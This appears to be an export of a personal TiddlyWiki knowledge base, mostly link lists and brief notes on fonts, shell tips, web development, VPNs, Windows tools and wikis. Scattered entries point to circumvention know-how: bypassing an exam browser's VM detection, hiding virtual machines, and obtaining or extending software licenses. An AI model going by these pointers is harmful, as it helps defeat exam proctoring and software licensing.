ECharts [Git, Thread] — An All-in-one Visualization Framework for TiddlyWiki5 based on ECharts
enable-js — using inline script tags
ibox - pretty-show images in tw5
TW5 Locator — discover and search by context, with polished field filtering features — [Git]
Notion-like Icon And PageCover — [Thread]
[Kookma] Refnotes — references, citations, footnotes and abbreviations — [Git]
Relink — flexibility when relinking renamed tiddlers — [Git]
Section Editor — create, edit, fold, manage sections — Git | Prototype discussion
Streams — Streams is a keyboard friendly way to write and easily divide your text into separate tiddlers while writing. — [Git] — Adds a structural-visual hierarchy system to TiddlyWiki like Notion/Logseq.
Syntax-Highlighting Tiny Editor (Ready-to-play prototype) — Download
Keyboard Navigation — A plugin to add keyboard navigation of TiddlyWiki's Story River.
tw5-keyboard-navigation — Navigate through your TiddlyWiki5 with your keyboard: jump to next/previous tiddler, edit or close tiddler — [Git]
TWCrossLinks — Discover all your intra-tiddlers links

Individual Themes

Notebook theme — clean, uncluttered theme for TiddlyWiki — [Git]
👻✨ whitespace theme — negative-spacious, webapp-nostalgic theme for TiddlyWiki

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TikTok

Octt 2nd March 2023 at 12:04pm

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News

February 2023: Launched scarily impeccable make-up filter that resists to the most estreme face coverings/deformations.; Launched AI filter making you look like a teenager.

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Tor

Octt 6th February 2023 at 10:26pm

From en.Wikipedia.org/Tor_(network)

mkp224o — vanity address generator for ed25519 onion services

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Touhou

Octt 16th February 2023 at 9:37pm

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Fumos

Prisms

See https://octospacc.gitlab.io/FumoPrisms

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traceroute

Octt 7th February 2023 at 6:49pm

From en.Wikipedia.org/traceroute

See also: Webmaster\Sysadmin Resources |

Trummerkind/

Underground Installation

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Trummerkind/Underground Installation

Octt 5th March 2023 at 10:39pm

First-person writing of What Happened
How a Man Built a Secret Home Inside a Mall [Brew]

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Tux Racer

Octt 19th February 2023 at 2:27pm

Wikipedia

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Twitter:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/Twitter

TWRP

Octt 5th February 2023 at 3:12pm

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Typography

Octt 24th December 2023 at 3:17pm

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Fonts

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Dotsies — Dotsies is a font that uses dots instead of letters. The latin alphabet (abc...) was created thousands of years ago, and is optimized for writing, not reading. About time for an update, no?
ArrowType — Timeless fonts for modern typography. Type design & development. Arrow Type is the one-person type foundry and studio of Stephen Nixon. — [Git]
- The ArrowType Blog — Notes on type design & development
- Recursive Sans & Mono — A typographic palette for vibrant code & UI — [Git]
Good bitmap fonts with big sizes and unicode support?

Interesting fonts, for specific uses or fun:

Blackboard bold
Small caps
Times New Bastard - It's Times New Roman but every seventh letter is jarringly sans-serif.

Good fonts, for multiple uses:

epto-fonts — Free bitmap (8x8, 8x16, 8xY) fonts by EPTO
UW ttyp0 — Monospace Bitmap Screen Fonts for X11

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Ubuntu

Octt 6th February 2023 at 7:27pm

From en.Wikipedia.org/Ubuntu

UK Online Safety Bill

Octt 5th March 2023 at 10:45pm

February 2023: Dear Mr. Sunak, will you block access to encryption, just like Russia & Iran? - Tutanota: We will not 'walk out' of UK like Signal. Nor will we comply with any request to bypass our encryption.; Signal threatens to leave UK if garbage legislation gets passed to 'protect the children'.

Unix

Shell

CUPS
Linux
Pubnix

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Unix

Octt 8th June 2023 at 2:13pm

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MINIX From Scratch - Development and compilation setup for the book version of MINIX 3

How-to

Make subdirectory writable by anyone even if parent folder is not

Unix/Shell

Octt 19th November 2023 at 3:02pm

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Input Field Separators
$PWD vs. pwd regarding portability — $(pwd) has issues with paths with newline chars, $PWD is fine but can be wrongly reset by badly-made programs; all appear to be available on all good shells.
Get/use exit code of command — Variable $?
Split string with symbol
How to find the last field using 'cut' — echo 'maps.google.com' | rev | cut -d'.' -f 1 | rev
Check if a string begins with some value — beginswith(){ case $2 in "$1"*) true;; *) false;; esac; }
Remove the extension of a filename, get filename path, ... using POSIX's built-in script only
- How can I remove the extension of a filename in a shell script?
"error: arithmetic expression: expecting primary"... — happens when calling an arithmetic expression (e.g. $(( 5 * 7 ))) with a missing parameter, or with quotes, in sh; bash accepts quotes and doesn't error instead. Don't use quotes in mathexps in sh.

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Unsplash

Octt 21st February 2023 at 7:51pm

Unsplash provides royalty-free and credit-free pictures, sorted by category and easily obtainable trough both a webapp and an HTTP GET API (even without authentication), under the "Unsplash license".

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Many decorative images on this KB are hotliked from Unsplash; some randomly, some not.

Unauthenticated API

The base URL for all following endpoints is https://source.unsplash.com.

(Adapted from Generate Random Images From Unsplash Without Using The API)
The URL schema is the following:
https://source.unsplash.com/{From}/[Size]/?[Keywords]
{From}
/random - Image from a random user
/user/{Username} - Image from a specific user
[Size]
{Width}x{Height} - Image of specific size of width * height
[Keywords] - Image with certain keyword[s]; Multiple can be specified by separation with:^{[citation needed]}
Word1[,...] - Comma: meaning AND
Word1[-...] - Dash: meaning OR

Video

Saved/Articles

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Video

Octt 19th December 2023 at 12:24am

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Compare frames per second: which looks better?

Virtual Machine

Harden VM from Human Inspection
Oracle VirtualBox
SEB 3.5.0 on Linux (VM Bypass)
VMWare

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Virtual Machine

Octt 5th June 2023 at 9:33pm

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Virtualization Software: QEMU - Usually accelerated with KVM; Oracle VirtualBox; VMWare - If you need a Workstation Pro license key for free, just look on YouTube (don't trust keygens or hacked EXEs, there are videos that just show you the key on the screen)
Cloud Virtualization: ANY.RUN - Interactive malware Hunting service - Windows, with many process analysis features; ApkOnline, Redfinger Cloud Phone - Android; Appetize - Android and iOS; AppOnFly - Windows apps; OnWorks - Destkop Windows and Linux

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Virtual reality

Octt 6th November 2023 at 11:11pm

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A-Frame — 🅰️ Web framework for building virtual reality experiences. — [Git]
- Web2VR — Dynamically translate HTML and CSS to A-Frame 3D world for virtual reality.
- Mozilla Hubs — Duck-themed multi-user virtual spaces in WebVR. Built with A-Frame. — [Git]

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Virtual Reality

Octt 17th February 2023 at 2:46pm

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Google Cardboard
Mozilla Hubs - The true Metaverse, since before Meta was a thing. - [Git]

Visual novel

Ren'Py

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Visual novel

Octt 4th April 2023 at 2:15pm

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The Last Secret & Sweet Science: An award-winning game about mysterious conspiracies, math, Go and love, & The first AI-generated visual novel

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VMWare

Octt 23rd July 2023 at 10:40pm

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Is there any information about why VMware thinks they are not bound by the GPL?
VMwareHardenedLoader — Vmware Hardened VM Detection Mitigation Loader (Anti-Anti-VM) for Windows Guests, live patching program + manual steps information

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VNC

Octt 31st May 2023 at 9:06am

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AVNC: Git | F-Droid | GPlay
noVNC — VNC client web application

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Voxatron

Octt 15th February 2023 at 9:36pm

Voxatron [alpha] is a fantasy console and collection of games made entirely out of voxels (little colourful cubes, kind of). Made by the developers of PICO-8.

https://www.lexaloffle.com/voxatron.php

VPN

OpenVPN
SoftEther
WireGuard

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VPN

Octt 22nd December 2023 at 9:51pm

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Psiphon — Access the entire internet. — [Git]
VpnHood! — Undetectable VPN for ordinary users and experts. VpnHood is a solution to bypass Advanced Firewalls and can circumvent deep packet inspection. — [Git]

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wallabag

Octt 15th February 2023 at 6:42pm

wallabag is a self hostable application for saving web pages: Save and classify articles. Read them later. Freely.

https://doc.wallabag.org
https://github.com/wallabag
https://hub.docker.com/r/wallabag/wallabag
Wombag - Unofficial reimplementation of the Wallabag server (compatible with the normal v2 API, but missing many secondary features)

My experience:

Feature-rich but the UX is clean and not bloated
- Has annotations (which I haven't really used) and RSS feeds
Rich client support
- Good and full web interface, official simplified Android app, supported by KOReader
Really really unstable and inefficient (but I wouldn't call it resource-heavy, it absorbs very little)
- After months of hosting the official Docker container on my Raspberry Pi 3^[
  2023-02-15: I tried running the software on my PC, which has no shortage of resources, but the issues are there - Keep in mind I used the 4-months-old Docker because upgrade to the new one failed
  ^], I can say that:
  - It constantly implodes, often crashing by itself for no particular reason, sometimes bringing the entire server to a crawl (explosion)
    - The server is a lot more prone to crashing if contacted by my Kindle (only tried via KOReader, but either via the plugin or just downloading the RSS feed)
  - Docker container is strangely arranged, it takes ~7 minutes to boot up, I see that it calls processes like Ansible (which would be OK for other kinds of deployments but not really for a release container, which should be static)^[
    It appears this issue has been fixed as of 2023-02-15, the Docker container has now no significant bloat
    ^]
  - Needs extra steps for upgrading: on 2023-02-15 I installed the latest version^[
    2.5.4
    ^] as a new container, but pointing to the old database (created at the time of v2.5.4, and it gave an unrecoverable error after trying to login with correct data^[
    This issue didn't happen when trying to purposefully fail the login by inserting wrong username/password, in which case it just gave normal error about wrong login data
    ^]. I couldn't run the new version with my already existing data "as-is", it's mandatory to fist do a database migration

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Watch

Octt 23rd February 2023 at 10:56pm

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DIY and Mods

Sensor Watch - Board swap for the classic Casio F-91W wristwatch - [Video about it]

Cheap no-brand wristwatch NFC mod demonstration

[modding] How Convert Casio MQ-24 to Single Hand Watch

Making the world's most 80's watch

Reviews

Casio F91W3 - THE GREEN ONE! - I Review Crap! - Has some trivia and interesting facts

Smartwatch

Wikipedia

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Wayback Machine

Octt 13th June 2023 at 6:53pm

The Wayback Machine is a public website archiving service, provided by the Internet Archive.

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The project exists to fulfill the goal of Web content preservation. It allows for users to visit a snapshot of a webpage captured in the past, serving as a way to preserve history, both in the case of the site owners altering the contents of a page, or simply the server going permanently down.

Web

Octt 24th December 2023 at 5:32pm

Wikipedia

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User-Agent

Wikipedia

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User Agents Database — website collecting many up-to-date user agents, classified and downloadable

Resources

World Wide Web Consortium - international community that develops open standards to ensure the long-term growth of the Web - [Wikipedia]
Web Hypertext Application Technology Working Group (WHATWG) — Maintaining and evolving HTML [Living Standard] since 2004
The IndieWeb is a people-focused alternative to the “corporate web”.
Web Archiving Services: Wayback Machine | archive.today | Ghostarchive
Can I use — up-to-date browser support tables for support of front-end web technologies on desktop and mobile web browsers — [Open Data (Git)]

Tools

Browserling | BrowserStack | LambdaTest - For testing web app and sites on different browsers, straight online
HTTrack - Website copier, offline browser - [Git]
Webrecorder Project
- ReplayWeb.page - Serverless Web Archive Replay directly in the browser - [Git]
TabFS - browser extension that mounts your browser tabs as a filesystem on your computer - [Git]
W3C Markup Validation Service - Check the markup (HTML, XHTML, …) of Web documents - [Other similar tools]

Frameworks/Generators/CMS

(Note: some are in Static site generator.)

Blogger (Google) — Create a unique and beautiful blog easily.
- Dynamic Views: seven new ways to share your blog with the world
  - How to customize Blogger's Dynamic Views templates — Dynamic Views uses a token based template format...
WordPress
werc - A sane web anti-framework — Bringing minimalism and sanity to the web — Has interesting features with a fixed but style-customizable layout, + support for apps and extensions.
H5P — Create, share and reuse interactive HTML5 content in your browser

Analytics

www.freecounterstat.com — Dy befault, blocked by uBlock Origin on the international domain, but several national domains are not, like www.contatoreaccessi.com (IT).
- Multiple .ovh subdomains handle the image serving and the access counting, they appear to be functionally equivalent and swappable in case one is blocked, but the already counted accesses are bound to each specific domain, aka you can't swap the domain you embed while keeping the already counted accesses.
GoatCounter — Easy analytics. Open-source, self-hostable, GDPR-compliant. No tracking of personal data, and works without JS — [Git]
- Note: GoatCounter tracking endpoints are blocked by the default uBlock Origin configuration, must selfhost or arrange some kind of proxy to bypass it.
Moe Counter! (count.getloli.com)
Start Hits — 🚀 Easy way to know how many visitors are viewing your Github, Website, Notion 🎉 — [Git]
Others: https://github.com/newTendermint/awesome-analytics | https://github.com/pluja/awesome-privacy#analytics

Other Things

Speculative parsing [MDN Docs]

Web Browser

Octt 23rd December 2023 at 9:33pm

Wikipedia

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Chromium

Website by woolyss — created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows ... also indexes other Chromium downloads
Remote debug Android devices (Chrome for Developers)

Forks: Ungoogled Chromium; Bromite (Android) — [Git]

Firefox

How to Install Any Add-on in Firefox for Android (Firefox Beta is needed)
- Usando Firefox Beta, è possibile aggiungere una lista custom di #addons...
Why Extensions can't modify Mozilla sites (like AMO)
How to increase Firefox scrollbar width? — set widget.non-native-theme.scrollbar.size.override to number in about:config

Forks: LibreWolf (Desktop); Fennec F-Droid (Android); CENO Browser (Android) — Short for censorship.no!, is the world’s first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised. — [Git]

Epiphany

https://gitlab.gnome.org/GNOME/epiphany

Extensions / Add-ons

octollection — my add-ons collection for Firefox
Redirector

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Web design ideas

Octt 6th February 2023 at 11:15am

Some ideas on how and into what to make a website I want to collect. Some I gather from other people's sites.

Site Changelog on Home page
Animated/Static Image Buttons for expressing ideas or linking to other websites
Shrines
Vast photo Galleries

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Web/Design

Octt 24th December 2023 at 5:27pm

Wikipedia

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Codrops — Keeping web professionals inspired & up-to-date since 2009 — [Git]
- Text Input Effects — Simple styles and effects for enhancing text input interactions. — [Git]

Other misc libraries and designs

Typo — Typo types the way a real person types. There are subtle variations in speed, occasional errors that are corrected, and a general feeling of humanity. — [Git]

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Web/Development

Octt 24th December 2023 at 3:29pm

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References

Misc: Window: postMessage(); Proxy Auto-Configuration (PAC) file
DOM querying: Find all text nodes in HTML page; Find the closest ancestor element that has a specific class | Element.closest()
DOM manipulation: Insert a childNode to a specific position; Prepend/append childNode to beginning/end of element; Replace a DOM Element
Embeds: From object to iframe — other embedding technologies; Alternative to iFrames with HTML5?; Why are iframes considered dangerous and a security risk?; 4 IFrame Security Concerns You Should Know

Tools and similar

https://github.com/csstools/oldie - tranforms CSS to be compatible with old Internet Explorer
CORS Anywhere - Server proxy which adds CORS headers to the request

Minification

node-minify - Light Node.js module and CLI app that compress javascript, css and html files

Misc

web.dev - Guidance to build modern web experiences that work on any browser (?)
Go Make Things - how to build a simpler, more resilient web
- The Vanilla JS Toolkit - tools and snippets for working with JavaScript (libraries, functions, polyfills, learning)
Web Accessibility Developer Guide
Using <style> tags in the <body> with other HTML — there once was a scoped attribute for <style> blocks, but it's nowadays deprecated and styles apply to all document elements despite their own position in the tree
Convert any website into a PWA in just 3 simple steps
SPA source code recovery by un-Webpacking source maps - unwebpack-sourcemap
How to inject service-worker.js to a webpage via Chrome Extension? I want to add offline functionality to the existing page
Convert HTML5 Canvas Sequence to a Video File
- customize video quality by changing codec: MediaRecorder/mimeType [MDN Docs]
Hail, Babel! The Transpiling Overlord
- Using babel to transpile to es3 (safari compliant)
- How to Convert ES6 into ES5 using Babel
How to add full text search to your website

Webmaster\Sysadmin Resources

Octt 7th February 2023 at 6:50pm

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Webrings

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/Webring

List of many Webrings

I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)

Legend:

✅: Joined
📅: Waiting
❓: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)
❌: Got rejected
✏️ (or empty): Noted only

✏️ https://250kb.club, https://512kb.club, https://1mb.club
✅ https://fediring.net
✏️ https://hotlinewebring.club
✏️ https://xhtml.club
✏️ https://webring.xxiivv.com
❓ https://yesterweb.org/webring

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Website

Octt 17th February 2023 at 10:55pm

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Wget/Snippets

Octt 6th February 2023 at 8:35pm

Flags

Download required page assets: -p
Convert internal links to relative: -k
Download entire website (all links from domain + external resources): --mirror

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Why I write digitally

Octt 9th February 2023 at 2:40pm

Data is generally safer in the long term.
- Digital writing is often prone to information loss in the very short term in ways that paper is not (e.g: PC crashing while you write, phone falling out of your hands while writing and ending up with a dead display)...
- ...but with proper automatic synchronization and backups solutions, in the long term computerized information is at a lesser risk:
  - Case study: both my sitoctt and OcttKB save to their respective Git repos in the cloud; If all my devices with recent offline copies break, I don't lose the data; Those repos are mirrored to 2 other separate Git providers, minimizing the risk for if some go down someday; All are publicly accessible, so I can re-download the data even if I were to lose all my login details for all my accounts; Everyone can potentially make and distribute copies, more people have the data so it's harder for it to disappear from the face of the Earth.
  - Compare this to a paper Notebook: if something happens to it, all your data is gone.
Faster and easier both to initially write new information, and also to then make adjustments. Updating data is continuous and flawless.
- I can write much faster on a latin-alphabet keyboard than what I can by handwriting in the latin alphabet.
- It's easier to do special formatting: Font styles, millions of colors, animations, backgrounds, navigations.
Data is indexable, searchable, and shareable fast, in both simple and infinitely complex ways, and fast.
- Zettelkasten is much more doable with computers, even if it was born on paper
- Never losing information (especially small snippets) after some time because of paper being too disorganized to search in.
  - On paper, it's impossible to do full-text, as OCR systems are still pretty immature and high in computing cost, not to mention the overhead needed to feed a picture of the handwritten paper to the computer.
- Can make the information available to everyone via the Internet, with pure text content being very easy to transfer, and also accessible for consumption to people who can't read with their eyes

Wii

Octt 21st December 2023 at 3:31pm

Wikipedia

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Wii Hacks Guide — The complete guide to modding your Wii — [Git]
Complete Softmod Guide — step by step the basics on how to softmod/enable hombrew on your Wii — it contains some minor useful information not present on wii.hacks.guide
Open Shop Channel — Homebrew apps library for the Nintendo Wii. — [Git]
The Homebrew Channel - open source edition
- "The (Open) Homebrew Channel" (article)
USB Loader GX — allows you to play Wii and GameCube games from a USB storage device or an SD card, launch other homebrew apps, create backups, use cheats in games...
sneek — This projects redirects all NAND access on a Nintendo Wii to an SD card or USB device.

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Wii U

Octt 21st December 2023 at 3:31pm

Wikipedia

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vWii

[TUTORIAL] Compiling a vWii compatible version of SNEEK (restored from @JoostinOnline)
- Original posted guide on hacksden.com, and GBATemp Thread
Modifying your vWii game region and/or video mode — includes instructions for messing with settings.txt for other purposes too

Wiki

MediaWiki
TiddlyWiki
WikiSpacc

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Wiki

Octt 17th February 2023 at 10:52pm

Wikipedia

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See also: Digital Garden | Saved/Sites |

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Wikipedia

Octt 21st December 2023 at 7:49pm

Wikipedia

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It is truly one of the best places to gain general culture from. For anything that is not found on the OcttKB, you should visit Wikipedia no doubt.

Resources

Have you ever looked up Wikipedia on Wikipedia?

Tools

WikiBinge — Find out how each article is flimsily connected with another one
Wikiwand — A modern Wikipedia reader for web and mobile — apparently it's totally proprietary, idk, a bit shady, but a good idea and possibly to keep an eye on

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WikiSpacc

Octt 28th February 2023 at 10:26pm

Details

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https://wikispacc.miraheze.org

Wikitext

Octt 17th August 2023 at 11:31pm

Wikipedia

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MediaWiki's vs TiddlyWiki's Wikitext

Documentation: Wikipedia's | TiddlyWiki's

Equalities

Unordered and Ordered Lists
Break lines: A single newline doesn't break the text, an empty line starts a new paragraph.

Differences

	MediaWiki	TiddlyWiki
Headings	Name enclosed in a pair of equals: `=== Heading 3 ===`	Name preceded by bangs: `!!! Heading 3`
Bold: Text enclosed in a pair of:	3 apostrophes: `'''Text'''`	2 apostrophes: `''Text''`
Italics: Text enclosed in a pair of:	2 apostrophes: `''Text''`	2 slashes: `//Text//`
Indentation	`Indentation as used on talk pages:` `:Each colon at the start of a line` `::causes the line to be indented by three more character positions.`	N/A
Horizontal Rule	4 or more dashes: `----`	3 or more dashes: `---`
Hard Linebreaks	N/A	Text enclosed in 3 quotes: `"""` `Text` `Still Text` `"""`
Links	Target first, Name last	Name first, Target last

Windows

Advanced

Troubleshooting

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Windows

Octt 13th December 2023 at 12:21am

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Generic key to install Windows 10, Windows 8.1 and Windows 8
Convert an existing Windows 10 Installation from Legacy BIOS to UEFI
Windows XP web activation is finally dead… thanks to a program generating phone activation keys: xp_activate32.exe.zip
- should be investigated if the program is based at least in part on this available open source code (Endermanch fixed and extended fork here) and paper
How To Extend Windows Server Evaluation — TLDR: a bit before the 180-day trial ends, run slmgr -rearm (it can be used a max of 6 times, so only to get a maximum of 3 extra trial years)

Resources for the platform

Retro Windows Wiki, a community support wiki for older versions of Windows.
Shorthorn Project — project to transform Windows XP/2003 in a moderns systems, with beatiful interface, compatible and very fast, based in One-Core-API tecnology
- One-Core-API — complete layer to get compatibility on XP/2003 for newer applications — [Binaries]
some Windows 98SE Utilities
Windows 2000 Modernization Guide
Visual Studio 6: Download VS6 ; Download MSDN VS6; Installer wizard 5.0 for installing on Windows 10

Distros

Hiren’s BootCD PE - Modern edition of Hiren’s BootCD, based on Windows 10 PE x64, developed by fans - Also distributes the old HBCD
Bob.Omb’s Modified Win10PEx64
- Seen on Endermanch: Running Windows 10 on a DVD disc
Windows 10 Ameliorated - Windows 10 minus the spyware plus added stability and security.
- Seen on Linus Tech Tips: We fixed Windows 10 - Microsoft will HATE this!

Programs

Calmira — Alternate shell available for Windows 3.1x and up that has an appearance resembling more modern Windows versions
Chris Titus Tech's Windows Utility — Install Programs, do Debloats, Tweaks, Fixes, Updates
NTLite — Local control for editing Windows images and deployments, for IT professionals/enthusiasts
Microsoft PowerToys — Utilities for power users to tune Windows for greater productivity — [Git]
NirSoft — Freeware utilities by Nir Sofer
Policy Plus — Local Group Policy Editor plus more, for all Windows editions
Sandboxie — Open Source sandbox-based isolation software — [Git] [Old Git]
Sysinternals — Utilities to help manage, troubleshoot and diagnose Windows systems and applications (+ many useful resources)
TweakUI
- TweakUIX — Tweak UI Replica — [Git]
Wallpaper Engine — Use stunning live wallpapers on your Windows desktop — [Steampowered]
Winaero Tweaker — Tweaking normally inaccessible UI features on modern Windows
Windows Terminal — The new Windows Terminal and the original Windows console host, all in the same place!

Windows Registry

Octt 8th October 2023 at 8:37pm

Wikipedia

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How to set a binary registry value (REG_BINARY) with PowerShell? — This allows editing specific bytes

Useful keys:

Position of taskbar on screen (Win 10/11): (Binary) HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\{StuckRects3,MMStuckRects3}, byte 12, (single-monitor, multi-monitor)

Windows/

Advanced

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Windows/Advanced

Octt 8th October 2023 at 8:39pm

Hide your VM using Registry and WMI tricks
Get Windows System Information via WMI Command-line (WMIC)
Using PowerShell to View and Change BIOS Settings (WMI)
Get Screen resolution using WMI/PowerShell — For single-monitor setups, Get-WmiObject -Class Win32_DesktopMonitor | Select-Object ScreenWidth,ScreenHeight

Windows/

Troubleshooting

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Windows/Troubleshooting

Octt 23rd July 2023 at 1:29pm

Risolvere errore "Il componente comctl32.ocx o una delle sue dipendenze non è correttamente registrato" con Windows 10 + Download Pacchetto DLL e OCX mancanti

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WinWorld

Octt 9th February 2023 at 10:24am

https://winworldpc.com/home

WireGuard

Octt 13th February 2023 at 5:28pm

From en.Wikipedia.org/WireGuard

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Word

Octt 20th December 2023 at 11:58pm

Wikipedia

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Useful, to be remembered

What do you call a member of a federation? ("federate")

Interesting Words/Expressions

Some words and expressions I discovered and found so interesing I want to save them, ok?

Bob's your uncle
- "Bob's still your dad's brother" is an epic way to avoid too many further repetitions.
ワープロ馬鹿 (wāpurobaka)
The vodka is good, but the meat is rotten

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WordPress

Octt 22nd December 2023 at 11:36pm

Wikipedia

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Stupid WordPress Tricks (with PHP)
How to Add Code to WordPress Header and Footer
WordPress Plugins SVN Mirror (apparently website is dead?) — Say hello to fully automated GitHub mirrors of every plugin in the WordPress.org plugin repository. — [Git]

Plugins

ActivityPub — Enter the fediverse with ActivityPub, broadcasting your blog to a wider audience! — [Git]
Press This (once part of WP, now an official plugin) — Posting images, links, and cat gifs will never be the same. — [Support] [Codex]
- Creating Quick Blog Posts with Press This
Writing On GitHub — A WordPress plugin to allow you writing on GitHub (or Jekyll site), and vice-versa — [Git]
URL Params — allows you to access URL parameters in the Query String of the URL via shortcodes

Themes

BSoJ (Blue Screen of Joy) is a blog theme inspired by the infamous Blue Screen of Death
Stewart is a modern blogging theme with a left sidebar. Its default color scheme is a striking combination of orange and light gray, to give your blog a sophisticated appearance from day one.
Tomoni is a theme that displays a use case of multilingual content with Japanese, with many color palettes

X11/Snippets

Octt 6th February 2023 at 11:15am

Multi-Screen Fixes

LG Flatron W1943SS (R) + TV Toshiba (L)

xrandr --output DVI-D-0 --addmode DVI-D-0 1920x1080
xrandr --output DVI-D-0 --mode 1920x1080 -r 60.00
xrandr --output DVI-D-0 --left-of HDMI-A-0

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x86_64

Octt 27th October 2023 at 10:56am

Wikipedia

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x86-64 Simplified — opinionated alternative Instruction Set Reference for the x86-64 Architecture to prioritize readability and simplicity over accuracy or completeness

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XDA Developers:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/XDA_Developers

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XFCE:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/Xfce

Xiaomi

Xiaomi Redmi 9T

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Xiaomi

Octt 7th February 2023 at 7:19pm

From en.Wikipedia.org/Xiaomi

Resources

Mobile devices

Firmwares and tools

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Xiaomi Redmi 9T

Octt 7th February 2023 at 7:10pm

Embed of https://www.gsmarena.com/xiaomi_redmi_9t-10670.php

Resources (for `lime`, tested working on `lemon`)

XML

SVG
XPath
XSL

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XML

Octt 23rd August 2023 at 10:18am

Wikipedia

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The XML FAQ — Frequently-Asked Questions about the Extensible Markup Language

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XPath

Octt 17th August 2023 at 11:32pm

Wikipedia

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XSL

XSLT

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XSL

Octt 18th August 2023 at 7:55am

Wikipedia

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XSLT

Octt 24th December 2023 at 12:12am

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XSL if test with multiple test conditions — <xsl:choose> <xsl:when test="expression"> ...
how to check with 2 conditions for test in xsl if\when — <xsl:when test="$test1 = 'Yes' or $test1 = 'yes'">

YouTube

Octt 23rd December 2023 at 12:01am

Wikipedia

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/watch?v= — as of December 2023, this URL loads the video YouTube is not currently available on this device. (directly, without redirects)
Infinite-Storage-Glitch - Use YouTube as cloud storage for any files - [Mirror]

Zettelkasten

TiddlyWiki

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Zettelkasten

Octt 9th February 2023 at 4:29pm

From en.Wikipedia.org/Zettelkasten

Good website about ZK: zettelkasten.de (CC BY-SA)

See also: Digital Garden | Why I write digitally |

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zstd

Octt 25th February 2023 at 2:20pm

Most efficient compression algorithm available today.

At the maximux compression setting, it has:

Compression ratio just a bit worse than lzma, better than deflate.
Decompression speed much higher than lzma or deflate.

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OcttKB

~Welcome~

Welcome to my Personal {Personal Knowledge Base \ Public Notebook}!

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Tags

All Tiddlers

1337x:en

2048

Gamin' Time

Implementations

Clones

2248

Gamin' Time

6502

7z

7-ZIP

A Hat in Time:en

Abandonware

ActivityPub

Adobe Flash

Agile article covers, from stock photos to AI

Alcohol

Ethanol

Isopropanol

Android

Resources

Emulation / Containerization

Development

Apps and the likes

Hacking / Modding

Memes

Android/Apps

Android/Development

Development

Apps and the likes

Hacking / Modding

Android/Easter Eggs

Android 7 (Nougat)

Android 11

Animal Crossing

Resources

Anti-Capitalist Software License:en

Anti-Fascist MIT License:en

App

Apple Inc

News

Apps/Dashboard

Archive

Arduino:en

Aria2

Wrappers, Frontends

ARM

Artificial intelligence

Active Resources

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Thinking

Developments

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Balloon Fight:en

Barcode

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BBCode

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BBSes

Software

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